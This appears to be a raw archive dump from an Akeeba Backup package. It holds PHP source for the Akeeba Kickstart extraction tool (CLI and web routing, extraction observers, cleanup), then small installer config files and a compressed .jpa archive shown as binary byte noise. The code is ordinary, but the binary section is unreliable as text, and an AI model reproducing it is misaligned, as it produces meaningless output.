 * @param   AKAbstractUnarchiver  $unarchiver  The unarchiver engine used by Akeeba Restore
 * @param   AKAbstractPostproc    $postProc    The post-processing engine used by Akeeba Restore
 */
function finalizeAfterRestoration(AKAbstractUnarchiver $unarchiver, AKAbstractPostproc $postProc)
{
    // Remove installation
	recursive_remove_directory('installation');

	// Run the renames, backwards
	rollbackAutomaticRenames($unarchiver, $postProc);

	// Delete the archive
	foreach ($unarchiver->archiveList as $archive)
	{
		$postProc->unlink($archive);
	}
}

/**
 * Rolls back automatic file renames.
 *
 * @param   AKAbstractUnarchiver  $unarchiver  The unarchiver engine used by Akeeba Restore
 * @param   AKAbstractPostproc    $postProc    The post-processing engine used by Akeeba Restore
 */
function rollbackAutomaticRenames(AKAbstractUnarchiver $unarchiver, AKAbstractPostproc $postProc)
{
	$renameBack = AKFactory::get('kickstart.setup.renameback', true);

	if ($renameBack)
	{
		$renames = $unarchiver->renameFiles;

		if (!empty($renames))
		{
			foreach ($renames as $original => $renamed)
			{
				$postProc->rename($renamed, $original);
			}
		}
	}
}

/**
 * Akeeba Kickstart
 * An AJAX-powered archive extraction tool
 *
 * @package   kickstart
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * Utility class to parse CLI parameters in a POSIX way
 */
class AKCliParams
{
	/**
	 * POSIX-style CLI options. Access them with through the getOption method.
	 *
	 * @var   array
	 */
	protected static $cliOptions = array();

	/**
	 * Parses POSIX command line options and sets the self::$cliOptions associative array. Each array item contains
	 * a single dimensional array of values. Arguments without a dash are silently ignored.
	 *
	 * @return  void
	 */
	public static function parseOptions()
	{
		global $argc, $argv;

		// Workaround for PHP-CGI
		if (!isset($argc) && !isset($argv))
		{
			$query = "";

			if (!empty($_GET))
			{
				foreach ($_GET as $k => $v)
				{
					$query .= " $k";

					if ($v != "")
					{
						$query .= "=$v";
					}
				}
			}

			$query = ltrim($query);
			$argv  = explode(' ', $query);
			$argc  = count($argv);
		}

		$currentName = "";
		$options     = array();

		for ($i = 1; $i < $argc; $i++)
		{
			$argument = $argv[$i];

			$value = $argument;

			if (strpos($argument, "-") === 0)
			{
				$argument = ltrim($argument, '-');

				$name  = $argument;
				$value = null;

				if (strstr($argument, '='))
				{
					list($name, $value) = explode('=', $argument, 2);
				}

				$currentName = $name;

				if (!isset($options[$currentName]) || ($options[$currentName] == null))
				{
					$options[$currentName] = array();
				}
			}

			if ((!is_null($value)) && (!is_null($currentName)))
			{
				$key = null;

				if (strstr($value, '='))
				{
					$parts = explode('=', $value, 2);
					$key   = $parts[0];
					$value = $parts[1];
				}

				$values = $options[$currentName];

				if (is_null($values))
				{
					$values = array();
				}

				if (is_null($key))
				{
					$values[] = $value;
				}
				else
				{
					$values[$key] = $value;
				}

				$options[$currentName] = $values;
			}
		}

		self::$cliOptions = $options;
	}

	/**
	 * Returns the value of a command line option
	 *
	 * @param   string $key     The full name of the option, e.g. "foobar"
	 * @param   mixed  $default The default value to return
	 * @param   bool   $array   Should I return an array parameter?
	 *
	 * @return  mixed  The value of the option
	 */
	public static function getOption($key, $default = null, $array = false)
	{
		// If the key doesn't exist set it to the default value
		if (!array_key_exists($key, self::$cliOptions))
		{
			self::$cliOptions[$key] = is_array($default) ? $default : array($default);
		}

		if ($array)
		{
			return self::$cliOptions[$key];
		}

		return self::$cliOptions[$key][0];
	}

	/**
	 * Is the specified param key used in the command line?
	 *
	 * @param   string $key The full name of the option, e.g. "foobar"
	 *
	 * @return  mixed  The value of the option
	 */
	public static function hasOption($key)
	{
		return array_key_exists($key, self::$cliOptions);
	}
}

class CLIExtractionObserver extends ExtractionObserver
{
	public static $silent = false;

	public function update($object, $message)
	{
		parent::update($object, $message);

		if (self::$silent)
		{
			return;
		}

		if (!is_object($message))
		{
			return;
		}

		if (!array_key_exists('type', get_object_vars($message)))
		{
			return;
		}

		if ($message->type == 'startfile')
		{
			echo $message->content->file . "\n";
		}
	}

}

class CLIDeletionObserver extends ExtractionObserver
{
	public static $silent = false;

	public function update($object, $message)
	{
		if (self::$silent)
		{
			return;
		}

		if (!is_object($message))
		{
			return;
		}

		if (!array_key_exists('type', get_object_vars($message)))
		{
			return;
		}

		switch ($message->type)
        {
            case 'setup':
                echo "I will delete existing files and folders\n";
                break;

            case 'deleteFile':
                echo "DELETE FILE  : $message->file\n";
                break;

            case 'deleteFolder':
                echo "DELETE FOLDER: $message->file\n";
                break;
        }
	}

}

/**
 * Routes the Kickstart CLI application
 */
function kickstart_application_cli()
{
	AKCliParams::parseOptions();
	$silent = AKCliParams::hasOption('silent');
	$year   = gmdate('Y');

	if (!$silent)
	{
		$version = defined('VERSION') ? VERSION : '8.0.2-dev202307211217-revb86be29';
		echo <<< BANNER
Akeeba Kickstart CLI $version
Copyright (c) 2008-$year Akeeba Ltd / Nicholas K. Dionysopoulos
-------------------------------------------------------------------------------
Akeeba Kickstart is Free Software, distributed under the terms of the GNU General
Public License version 3 or, at your option, any later version.
This program comes with ABSOLUTELY NO WARRANTY as per sections 15 & 16 of the
license. See http://www.gnu.org/licenses/gpl-3.0.html for details.
-------------------------------------------------------------------------------


BANNER;
	}

	$paths = AKCliParams::getOption('', array(), true);

	if (empty($paths))
	{
		global $argv;

		echo <<< HOWTOUSE
Usage: {$argv[0]} archive.jpa [output_path] [--password=yourPassword]
         [--silent] [--permissions] [--dry-run] [--ignore-errors]
         [--delete-before]
         [--extract=<pattern>[,<pattern>...]]


HOWTOUSE;

		die;
	}

	AKFactory::nuke();

	$targetPath  = isset($paths[1]) ? $paths[1] : getcwd();
	$targetPath  = realpath($targetPath);
	$archive     = $paths[0];
	$archive     = realpath($archive);
	$archivePath = dirname($archive);
	$archivePath = empty($archivePath) ? getcwd() : $archivePath;
	$archivePath = empty($archivePath) ? __DIR__ : $archivePath;
	$archiveName = basename($paths[0]);

	$archiveForDisplay = $archive;
	$cwd               = getcwd();

	if ($archivePath == realpath($cwd))
	{
		$archiveForDisplay = $archiveName;
	}

	if (!$silent)
	{
		echo <<< BANNER
Extracting $archiveForDisplay
to folder  $targetPath

BANNER;
	}

	// What am I extracting?
	AKFactory::set('kickstart.setup.sourcepath', $archivePath);
	AKFactory::set('kickstart.setup.sourcefile', $archiveName);
	// JPS password
	AKFactory::set('kickstart.jps.password', AKCliParams::getOption('password'));
	// Restore permissions?
	AKFactory::set('kickstart.setup.restoreperms', AKCliParams::hasOption('permissions'));
	// Dry run?
	AKFactory::set('kickstart.setup.dryrun', AKCliParams::hasOption('dry-run'));
	// Ignore errors?
	AKFactory::set('kickstart.setup.ignoreerrors', AKCliParams::hasOption('ignore-errors'));
	// Delete all files and folders before extraction?
	AKFactory::set('kickstart.setup.zapbefore', AKCliParams::hasOption('delete-before'));
	// Which files should I extract?
	AKFactory::set('kickstart.setup.extract_list', AKCliParams::getOption('extract', '', true));
	// Do not rename any files (this is the CLI...)
	AKFactory::set('kickstart.setup.renamefiles', array());
	// Optimize time limits
	AKFactory::set('kickstart.tuning.max_exec_time', 20);
	AKFactory::set('kickstart.tuning.run_time_bias', 75);
	AKFactory::set('kickstart.tuning.min_exec_time', 0);
	AKFactory::set('kickstart.procengine', 'direct');

	// Make sure that the destination directory is always set (req'd by both FTP and Direct Writes modes)
	if (empty($targetPath))
	{
		$targetPath = AKKickstartUtils::getPath();
	}

	AKFactory::set('kickstart.setup.destdir', $targetPath);

	$unarchiver = AKFactory::getUnarchiver();
	$observer   = new CLIExtractionObserver();
	$unarchiver->attach($observer);

	if ($silent)
	{
		CLIExtractionObserver::$silent = true;
	}

	if (!$silent)
	{
		echo "\n\n";
	}

	$retArray = array(
		'done' => false,
	);

	while (!$retArray['done'])
	{
	    $timer = AKFactory::getTimer();
	    $timer->resetTime();

        /**
         * First try to run the filesystem zapper (remove all existing files and folders). If the Zapper is
         * disabled or has already finished running we will get a FALSE result. Otherwise it's a status array
         * which we can pass directly back to the caller.
         */
        $ret = runZapper(new CLIDeletionObserver());

        // If the Zapper had a step to run we stop here and return its status array to the caller.
        if ($ret !== false)
        {
            continue;
        }

        $unarchiver->tick();
		$ret = $unarchiver->getStatusArray();

		if ($ret['Error'] != '')
		{
			$retArray['status']  = false;
			$retArray['done']    = true;
			$retArray['message'] = $ret['Error'];
		}
		elseif (!$ret['HasRun'])
		{
			$retArray['files']    = $observer->filesProcessed;
			$retArray['bytesIn']  = $observer->compressedTotal;
			$retArray['bytesOut'] = $observer->uncompressedTotal;
			$retArray['status']   = true;
			$retArray['done']     = true;
		}
		else
		{
			$retArray['files']    = $observer->filesProcessed;
			$retArray['bytesIn']  = $observer->compressedTotal;
			$retArray['bytesOut'] = $observer->uncompressedTotal;
			$retArray['status']   = true;
			$retArray['done']     = false;
		}

		if (!is_null($observer->totalSize))
		{
			$retArray['totalsize'] = $observer->totalSize;
			$retArray['filelist']  = $observer->fileList;
		}

		$retArray['Warnings'] = $ret['Warnings'];
		$retArray['lastfile'] = $observer->lastFile;

		if (!empty($retArray['Warnings']) && !$silent)
		{
			echo "\n\n";

			foreach ($retArray['Warnings'] as $line)
			{
				echo "\t$line\n";
			}

			echo "\n";
		}
	}

	if (!$silent)
	{
		echo "\n\n";
	}

	if (!$retArray['status'])
	{
		if (!$silent)
		{
			echo "An error has occurred:\n{$retArray['message']}\n\n";
		}

		exit(255);
	}

	// Finalize
	$postProc = AKFactory::getPostProc();

	rollbackAutomaticRenames($unarchiver, $postProc);
	clearCodeCaches();
}

/**
 * Akeeba Kickstart
 * An AJAX-powered archive extraction tool
 *
 * @package   kickstart
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * Routes the Kickstart web application
 */
function kickstart_application_web()
{
	$retArray = array(
		'status'  => true,
		'message' => null
	);

	$task = getQueryParam('task', 'display');
	$json = getQueryParam('json');
	$ajax = true;

	switch ($task)
	{
		case 'checkTempdir':
			$retArray['status'] = false;

			if (!empty($json))
			{
				$data = json_decode($json, true);
				$dir  = @$data['kickstart.ftp.tempdir'];

				if (!empty($dir))
				{
					$retArray['status'] = is_writable($dir);
				}
			}
			break;

		case 'checkFTP':
			$retArray['status'] = false;

			if (!empty($json))
			{
				$data = json_decode($json, true);

				foreach ($data as $key => $value)
				{
					AKFactory::set($key, $value);
				}

				if ($data['type'] == 'ftp')
				{
					$ftp = new AKPostprocFTP();
				}
				else
				{
					$ftp = new AKPostprocSFTP();
				}

				$retArray['message'] = $ftp->getError();
				$retArray['status']  = empty($retArray['message']);
			}
			break;

		case 'ftpbrowse':
			if (!empty($json))
			{
				$data = json_decode($json, true);

				$retArray =
					getListing($data['directory'], $data['host'], $data['port'], $data['username'], $data['password'], $data['passive'], $data['ssl']);
			}
			break;

		case 'sftpbrowse':
			if (!empty($json))
			{
				$data = json_decode($json, true);

				$retArray =
					getSftpListing($data['directory'], $data['host'], $data['port'], $data['username'], $data['password']);
			}
			break;

		case 'startExtracting':
		case 'continueExtracting':
			// Look for configuration values
			$retArray['status'] = false;

			if (!empty($json))
			{
				if ($task == 'startExtracting')
				{
					AKFactory::nuke();
				}

				$oldJSON = $json;
				$json    = json_decode($json, true);

				if (is_null($json))
				{
					$json = stripslashes($oldJSON);
					$json = json_decode($json, true);
				}

				if (!empty($json))
				{
					foreach ($json as $key => $value)
					{
						if (substr($key, 0, 9) == 'kickstart')
						{
							AKFactory::set($key, $value);
						}
					}
				}

				// A "factory" variable will override all other settings.
				if (array_key_exists('factory', $json))
				{
					// Get the serialized factory
					$serialized = $json['factory'];
					AKFactory::unserialize($serialized);
					AKFactory::set('kickstart.enabled', true);
				}

				// Make sure that the destination directory is always set (req'd by both FTP and Direct Writes modes)
				$removePath = AKFactory::get('kickstart.setup.destdir', '');

				if (empty($removePath))
				{
					AKFactory::set('kickstart.setup.destdir', AKKickstartUtils::getPath());
				}

				if ($task == 'startExtracting')
				{
					// Before starting, read and save any custom AddHandler directive
					$phpHandlers = getPhpHandlers();
					AKFactory::set('kickstart.setup.phphandlers', $phpHandlers);

					// If the Stealth Mode is enabled, create the .htaccess file
					if (AKFactory::get('kickstart.stealth.enable', false))
					{
						createStealthURL();
					}
					// No stealth mode, but we have custom handler directives, must write our own file
					elseif ($phpHandlers)
					{
						writePhpHandlers();
					}
				}

                /**
                 * First try to run the filesystem zapper (remove all existing files and folders). If the Zapper is
                 * disabled or has already finished running we will get a FALSE result. Otherwise it's a status array
                 * which we can pass directly back to the caller.
                 */
                $ret = runZapper();

                // If the Zapper had a step to run we stop here and return its status array to the caller.
                if ($ret !== false)
                {
                	$retArray = array_merge($retArray, $ret);

                    break;
                }

                $engine   = AKFactory::getUnarchiver(); // Get the engine
				$observer = new ExtractionObserver(); // Create a new observer
				$engine->attach($observer); // Attach the observer
				$engine->tick();
				$ret = $engine->getStatusArray();

				if ($ret['Error'] != '')
				{
					$retArray['status']  = false;
					$retArray['done']    = true;
					$retArray['message'] = $ret['Error'];
				}
				elseif (!$ret['HasRun'])
				{
					$retArray['files']    = $observer->filesProcessed;
					$retArray['bytesIn']  = $observer->compressedTotal;
					$retArray['bytesOut'] = $observer->uncompressedTotal;
					$retArray['status']   = true;
					$retArray['done']     = true;
				}
				else
				{
					$retArray['files']    = $observer->filesProcessed;
					$retArray['bytesIn']  = $observer->compressedTotal;
					$retArray['bytesOut'] = $observer->uncompressedTotal;
					$retArray['status']   = true;
					$retArray['done']     = false;
					$retArray['factory']  = AKFactory::serialize();
				}

				if (!is_null($observer->totalSize))
				{
					$retArray['totalsize'] = $observer->totalSize;
					$retArray['filelist']  = $observer->fileList;
				}

				$retArray['Warnings'] = $ret['Warnings'];
				$retArray['lastfile'] = empty($observer->lastFile) ? 'Extracting, please wait...' : $observer->lastFile;

				$timer = AKFactory::getTimer();
				$timer->enforce_min_exec_time();
			}
			break;

		case 'cleanUp':
			if (!empty($json))
			{
				$json = json_decode($json, true);

				if (array_key_exists('factory', $json))
				{
					// Get the serialized factory
					$serialized = $json['factory'];
					AKFactory::unserialize($serialized);
					AKFactory::set('kickstart.enabled', true);
				}
			}

			$unarchiver = AKFactory::getUnarchiver(); // Get the engine
			$postProc   = AKFactory::getPostProc();

			finalizeAfterRestoration($unarchiver, $postProc);
			removeKickstartFiles($postProc);
			clearCodeCaches();

			break;

		case 'display':
			$ajax = false;
			echoPage();
			break;

		case 'isJoomla':
			$ajax = true;

			if (!empty($json))
			{
				$json = json_decode($json, true);

				if (array_key_exists('factory', $json))
				{
					// Get the serialized factory
					$serialized = $json['factory'];
					AKFactory::unserialize($serialized);
					AKFactory::set('kickstart.enabled', true);
				}
			}

			$path     = AKFactory::get('kickstart.setup.destdir', '');
			$path     = rtrim($path, '/\\');
			$isJoomla = @is_dir($path . '/administrator');

			if ($isJoomla)
			{
				$isJoomla = @is_dir($path . '/libraries/joomla');
			}

			$retArray = $isJoomla;

			break;

		case 'listArchives':
			$ajax = true;

			$path = null;

			if (!empty($json))
			{
				$json = json_decode($json, true);

				if (array_key_exists('path', $json))
				{
					$path = $json['path'];
				}
			}

			if (empty($path) || !@is_dir($path))
			{
				$filelist = null;
			}
			else
			{
				$filelist = AKKickstartUtils::getArchivesAsOptions($path);
			}

			if (empty($filelist))
			{
				$retArray =
					'<a href="https://www.akeeba.com/documentation/akeeba-kickstart-documentation/ksnoarchives.html" target="_blank">' .
					AKText::_('NOARCHIVESCLICKHERE')
					. '</a>';
			}
			else
			{
				$retArray = '<select id="kickstart.setup.sourcefile">' . $filelist . '</select>';
			}

			break;

		default:
			$ajax = true;

			if (!empty($json))
			{
				$params = json_decode($json, true);
			}
			else
			{
				$params = array();
			}

			$retArray = callExtraFeature($task, $params);

			break;
	}

	if ($ajax)
	{
		// JSON encode the message
		$json = json_encode($retArray);

		// Return the message
		echo "###$json###";
	}
}

/**
 * Akeeba Kickstart
 * An AJAX-powered archive extraction tool
 *
 * @package   kickstart
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Register additional feature classes
callExtraFeature();

// Is this a CLI call?
$isCli = !isset($_SERVER) || !is_array($_SERVER);

if (isset($_SERVER) && is_array($_SERVER))
{
	$isCli = !array_key_exists('REQUEST_METHOD', $_SERVER);
}

if (isset($_GET) && is_array($_GET) && !empty($_GET))
{
	if (isset($_GET['cli']))
	{
		$isCli = $_GET['cli'] == 1;
	}
	elseif (isset($_GET['web']))
	{
		$isCli = $_GET['web'] != 1;
	}
}

// Route the application
if ($isCli)
{
	kickstart_application_cli();
}
else
{
	kickstart_application_web();
}
com_akeeba/Master/Installers/angie.json000060400000000551152455305260014147 0ustar00{
    "angie": {
        "name": "ANGIE for Joomla! Sites",
        "package": "angie.jpa,angie-joomla.jpa",
        "language": "language-angie.jpa,language-joomla.jpa",
        "installerroot": "installation",
        "sqlroot": "installation\/sql",
        "databasesini": "1",
        "readme": "1",
        "extrainfo": "1",
        "password": "1"
    }
}com_akeeba/Master/Installers/index.html000060400000000066152455305260014167 0ustar00<html><head><title></title></head><body></body></html>com_akeeba/Master/Installers/none.ini000060400000000150152455305260013624 0ustar00[none]
name="No Installer"
package=""
installerroot=""
sqlroot="sql"
databasesini=0
readme=0
extrainfo=0com_akeeba/Master/Installers/angie-joomla.jpa000060400000070543152455305260015237 0ustar00JPA�w�lJPF6!installation/platform/defines.php�Y��=PAn�0��s3A�Dp��Ԛ6B�4�����,��[�A�u���ٗW��$����պ����U 8�8���S6�hj!Og�d�.�!�@
�+���X�}�@vF��1ļ�Ȋ��(h�0i�թ�x��F2���t��樔��'|ă��Xs��#{d���yi%��������zrB�\G坼��C�����\\Β������Œ�t4�n�n�:��ݞ�e�=T��`�Oc~�`�"�JPF:%installation/platform/js/setup.min.jsKV���UMo�0��W,ᒨ�[�l-�U�*u驪�c�&��mlgK���I�~��Tp��73o&�Kb&\��sg�X�������k�/��A�q:S�m���BRǕ�8���A�0Z-�	����	f�9H�~`�9�N��B�"�	9�<��OD1�gSz� 2uٔG+�	N��CH%!�d])1n� e��:�A"}�TI�e�΅����м�r��+�uu���k��˥�6�~+��A�䗺�8�����_X�3r�)���-j��Kd�$�.��Wo�(�TX��������,����ћ�
��m������5�~���ܥ�z����v��^��^x��}�6��pzFJ0�J00�� I"��x蒈�!����
6��b�	6����#��6��cFd
}�#M
��gxM���ηlk�̻Ec[���CLg'ъb2M��j8:䄋���5:�&�>)�^�2���q��$)j�#p��u'��^�q�ڕ9���[m��=C[Ӽk'��(�g[���柳�����Z�us����g.������WGG���'V��g�5�����r.�w�r�JPF9$installation/platform/js/main.min.js&&������WV(�/-JN�M,(��K
��M�����b���JPFA,installation/platform/models/jconfig/j15.php>p���V�o�6���+0 [�Xv�<t���{mS�C�{2(�$��H����C���QR,;�[7�����}��/_WE5�vw�����7��������
/��XYyȌ�X$wu�&��G�E�1����;�X�I'�Ӟrc�!���"G�%Zb��ʼ�p���s��|�b�`~��2)�����8S�ZQ��ʧ���	j�/��5Z��C�:�=Z�q=�
IQ����4!'�.O��d�N'���.����p����S�	��hW��A��:�ڄ�d�LI����w���W%:��"�m!]����R{�B'8{[�^������܅~��8c�l脍iQ�o�)�x�s4�L��L6���v�����d-
�)U�����,p���\$M�S�3�E���s��i�*$�l�?*��M���P��@_+ƅ�)���
i����5z�%�Fj��D��������
��e_�V4uƦC�G�9h�pڧa�zW3���>�Z'��P$�:���֊�S�F�4o�M��AK�1�\��Ő����|���;T�_�?��c���ik�s�(SΔH�:��X䶨��Y=F��ؕ��X>�C�UU[Ō���(b��S����P�s�l��\�l��|���Mg�c�u���LG�֘Q;��m�/ْ/&D��cc�M����m�k˳	��V˂3���!j.j��sJ5�@Hj��g�C��Ǚ�����v$d��6%+1���\/����Iei4�ގ�Rj.c��H'�-p�M:�ҹYF�R��l�uq��^�y�&��j��Z����$�R�Om�N�߆Y��̚�I�����>@��ӣ����RG=uC��)Aۅe�X;2}��>wm̧�v�x�	��Q�����o��)�(o��3��;�X��X+���8G���*��^�s�.�b�
r��
ՊDx��*�tm�mS҆�����P�k��rx6�ע/��j[�V�v�ۜc*�yĪ��ϯ���Ӯ����v�������^��3�t�.�b~����¡X"��l~��~5�JPFA,installation/platform/models/jconfig/j30.phpQ	���U�n�6}�~Mk4��yh7u�¹��@��I�R�C�V
�{���]]Z�i��9�×�\�V���J��ˋ�����A:��@�� ��@/2�v�ҫJ�	�A�E֊�@&�/����'4�>�����!ؠ��a
]�uYq�����~���t�ٞ�K�*4���x����$���!��2Z��x���gq�4�c�1!>�
x�y�� 8%�	x>��V���xw�9G[�Rܯ�r��o~� ϚP�S��ɋ1�HEb�������c��̕}�1���搓J�숒����F�.���A�u��ٔҶ��R�U�9��Ӑ�XKm�Y
����Ry6G��B�E�)s�u]�uK=� k��vhj�B*�&gd�bQm!���q2�e�\���A۶V����S}�eюL
�<�����Fh�]�й��� %2�����}��Ƌw���_�O��#��R�2�gj3�*�0mAĝ��tv8'��{�E��~���o�X�5�˳
�=O����������y�kms�[�p�B��Ta�F�ow�����Z^������=�0򷐷��������v3�n�EQ2��a�8�q��į);;u�̜,o�®?Z��}j����ǾT��?�g�o���xt�;�����Z"���?;����ޚ�%�g�*X�̼H~
Hp�M�H�2*!��	A���9�8�6��-�|���rM���l��Y�c���Øl�5Šy��{�H�	e�&{tlI�m8��\�q�Ff:�dco�\�R�4:���z6�������t�0c�gS���xX���.	L����5V+́LS�,胋�JPFA,installation/platform/models/jconfig/j25.php]	���V�n�6}�~Mj4��yh7u��m�A��@Q#�^�Ò�m��w(i]]آO+�3�p��굩�&99ٰvvy�������9�Yp-�5s�J�Y���\Zø��DŽ�`y��9g?��8"Q!�n~4��
#�JB�	4��U����S��~����~��.��Qq��m�zP��`���/����]�����
�+��͉`�G��q=��QH��t8�l9q���9�RV�~��~�e��vʞ�|�³��UK7�H���^��K�As-`�*�,��}P��9�q�e�"+��v�$\�y��'���El��}$bj���3/u׈��󙒍�`?�A<���m���G3E\S��L�Φs)9�jt��)�:�K�Pn�K��׈�Pʻ�_�����@�gaq���!�gi�X�6�`В�}��L��i�
T�y�$�^��٢�c�K�.�nK
�M�S�ML�>@G1��B�
�F�p�HM?/��a��&�����Ӹ��CƗ�E��C%��h�A�OW�k����~P��Li�Y�����t.	�I�l�r��#:�l�᭯WA"�[�c�<���S��b���6fm�b�N6�_����:�W��+/��ٝ���o�����UL��~Hy�d�H�aԤs��F]tk�f�-9זcϨVK�8�VnE��?�,�q
+*�!�S�7&�+Y��d��"u�T�{���^��{�[�'7��������*��A±�y��,و	Y�a�,]�d,����L؄CզQS4b#��т�����PR(�
�����t���tF�.�lՙ���bO�f<3o�E�W��1�C0rJPFA,installation/platform/models/jconfig/j40.phphM���X�n�6}�����5�8M�\��q�q� k-�B���ĘU������P�]��M�A����3�}�ʫ�����eG��_>e��,f���X���d&֢�,U�E<��+�u��O`X��[HX԰����ǝE�,GJ*\����B�g�d�X��F�,��x���������6;q�$7�=�
5FU��ʰ�r��8_R�P��=�4��]!�N:�hC纽��H�q�t'�5{���X���v�vnMwق±kE�2�U��~Ti*E	쐥\�?B������,�
-�N�e��YpQZ(y��A��w8n1�!�p�f<Cf�*'Ao�D�J�&/5�lD�6�.h7%/�+�
����t�N	W)kqw��H���cp�"����W6�9��ިƆR�"p�Gx��O���2�rw�[Q����D��ܩ��+�桺s)]p)֚�'�����b.��l�����K',������tw�Aw�Ӑ1]�zz���T:��?}i܏�W�ޜ��rUR�|T&��l��LW3V�A�ЯKas��A�rr�I�$2FbF������������fHb7����?,�|y/-�nm?���9���Y���<����.(��
�%f �*?c(
�QR!�u/��Qy�Z+j���$��Z�	r�U�%�����7����Kщ�ٴ��s���Wx����T������{W-t���]^��J຿Lj�p��qڠo|��=w�=�Jy��,E�'�� gH.�4�?��^���*w�K-�󊵪S��,�l�'&�),JO2���U2t���~���=��R��'�S\Q�3�Ha���b�I[��a��jB�m�u���bq�ޞ��5al�^NU	{l����G�c8�X�]t5�o�?�jZ�4�PNb�+��J�Q@$�;���!��?K�-���C��@2։�6B�p�+���f��)�
�9�����Ri�ϰ���^����r�d���F,	��I�%5z�M'M'TU�� ����㵖���)R�����m�Yz þ���.�m�']��h+r�]v֞�/�`D89��I����Y]�lS!�4�B�J�번9�W�C��S�o0�����`>��c���6ft�����o��?����G�5��+6v@�7\H?��u�����q?Ԇ��ή��
��aד����[4M=���)T7��Z���!(��͚�FOM$���0.l���G�E�տ�r%�9z���!h�vdR�X���t9����1Q�m��D;n�ea�3��,�S�b���q�u��y6$��$V�����Y;̀��n��7H�o��7�ݵ���������7����k_C�"�����n��GDu��E� OSO�!��_����˂%B���{oZ��ڟ�A@:*��R�H�����Z���_�}l�H���54�}�㽮EZ�	+=�H�^�{0{�ݷ�@���5ZEj<�|��
e�Ը�#����mϜ�W\S���hE��S�ץ�G��u��d��g�?�7�"��~`ޗ(���
�j�ԅ�&w����n�;s`�[h�%L��6~�H}��HZN^�JPFA,installation/platform/models/joomlasetup.phpy%�����=iwǑ��_�r� �C�S�e�"-&:�������&9&0�D2�����p����\(+٬߳M�tWUwWW�������o~��~��|r�6��Vy\h��H����D��,��2��(��g*����G��q��BGjt�n���;i�D�� ����|;���V
\Ś����}_]���ww�������}�����t��}����Y:����28^���c����7��:�Y8Q���P���G��8�'=C��2輵�>��Hׇ�yT��μ?���G�2Nt�	�<:�� �"�(֝�3�4�N�����qv?+>�^�a9��Fz�
����w�N"��wa�����׈�a���q|7����5\�5��0S�l��Ͳ�#�Jm����/m��ۦ�y���U؁��/Vl�K�շqr���x���%/��<Dž����_���]_�IX��ϲp�j�����o�iR�� ��7�����7W��?�=<���p}�ֶ�c�*���Ɉ�q�!0�_c��	
&[R�C~ߩ��u�s_��6�d\s���GMd��p�Y�=��&U��D;`55ly
�<j��y�cR�i:�i�2��<������(q����)̦J©�;|�Y�H 	�i��S���u�@
\l�8M@6���j��`/��,Z	u�s��nYa	�a!2µ�i7��#�A�A~6�q�h�
x'�	jkg���e�N:k|��7�l@M=s��:[��uH�R�������4�������񫕠����X��Κ����}'�US_x�/�\?���'��9�o|�:"*��t:3�YY�tI�좌��A�ɩ��&Z�ʽ�Q��n����t%N�,fC�i�,�Sq1���Q{j��d��u�Չ+f�ty�Y�5�ŧ��A�������ڀ�.i�Q�Y!K!B�)	6�@`��K�B]� ����1�9Ĉw���k�w%b�_Zi��ƴ��5��[�)-ՊPqeVkJQ�F�)m�h�jgNj�a�U����m�2��o��b�1{EޓB��~�W/����ة�@�<��b��5���}��U�M�����}��{.?hzz�]S~c��ك{���\��Z
���_
�럯����A5\Y~G#�*=k�����n��]�v��p&��{,���	�pxcM�x9<l���J_�p%p��v)8j�
HX���q~��4�/��mgP����>��ԯ]:`2)���T��jg9J�!�ф�/�DD.���hQ�y��F�
��C�`�'W�u�S?l�B��^2R�O�q���/ݑ�MG)�9kV(��l�t�A�DR���>��7����:�8)��tǞ��q��]O��IzK�xZ�����SDpQg
b�pI����Fp�ݐ�ѼIk�v�)I�$�螬�.I� \Cv0,��te��	[=T��V@�EO#��V1�|� D`���)0����'8��T��j����\h�o�F��=�rcW��c���PS���g@Pˆ�!����lIƹ�Z�Y�_R���sȃ���X�H�o�=�=kx�tr��NOE?�<��V��|�A�)�((��k"��*,�D�
.YݢcG	7�U��w���屔��t:��`�=���mH������;��sd�W��E�Hi����5>}yZb��P����@�xvY�a_���NΏT_[5Zk�?��g�b86`-DVCK�9�{�n��^��0~��h'ҳ
��ۇ]��#�6Ğ^�O,�R?���+������^�ݲ~b}�][N���]�<4��=.f{{��$M"�),&S�S�2��78�Ãw�o�''��&͍E#��k��;����,ƣ��RM�R�:M���_=}*���􀣻��]�6�ݸ����qO�U���|2�Z�
>�uNrm �{/�l��[ohNO�M^�W��e=���]��@%x���8O��Of�\��79����Y�w�3�A�E�z�rt��j��s���oi~���w�jO��p�COg�} +$���<ɯ�ˢÛ��G�^u�я`�t��RqD�ݓ�ؘ\�4��4
��g�yKe~�#"�)�n���ή��w�0���g�	ϧ�!�̒���^��M�
��V���!FT���c85�(��q����)),c@e�t�N�F����L��Œ���a#�u`�4�A	Ö%�����a�[f��t0ܤ�G�:\��;|(��}{N�R����Pߤ�-i����fS•�SY1�����f;�0���nmޗL���$�[�݂�������F�	5�_���T ��m�_�����^z8��t�Nԭ2�	�4��v��G���)50�H���p2���>d吐c��l}ur)���sܸ�o���
n�{VS8&��![��u�͖��Yl�wY\V
XG�S4��H����L��B�f����a
z2�prޣ��G�U*灇b_�E1����������e���6�ٹg�L�XG��:M��^$�i�^L��|)�������㶩�Ǟ��5L�%{K�{o @�QRę�cZ
ħ	�6+�$@Oȸ�ZR��ϚF�B_��	=ә�����_����r�;�^���)�.�d�"���0��c�߂�|\�F-X_�W%�/^��9����=#�;0#�]�9�\���]O��p���q
������u�pG�|$�&�G��8=�ʬy�Gξ4q���'��ek�@�N��H�C|���J�K��):
1E�G���)��fWnSKkd�}��4FQ=����?��H���Q����=E�`��e3�2�m��,|��<�3a͕�'D��u\��e�F�>�u�v{�h��1r�(�T� I73=������l�����>,D�7\����h�I�X:����~^G`Q�9�"���T@����x4^��\A�H�Gi�ј�p�Y$e	j�H�B�/�i�h��ē�0�ܙ�])
��	�Fn�d^��bd��E{Ͷ�1H����|���kj,��$�x�p����ܮ!4��!z�<0~d)h��zC�œ��4�������n�M����N����RO��'��w<e��9���4T�ɛ����W�'o�ЙBy�[��?����.=��މtnTQ��ͯ�
�@�jO�	'bL9g�NJd~3�o�|Hn1�a6��먼@���3L�ښylA⹋��/��L���5��QvJ	d��nP2�C�Y��C�QI�E���)έĝoB��Ư*jŨ�3#�:]3	��H�x�qX��8'��"��*K糼����=�iD����;�泻5�	��C
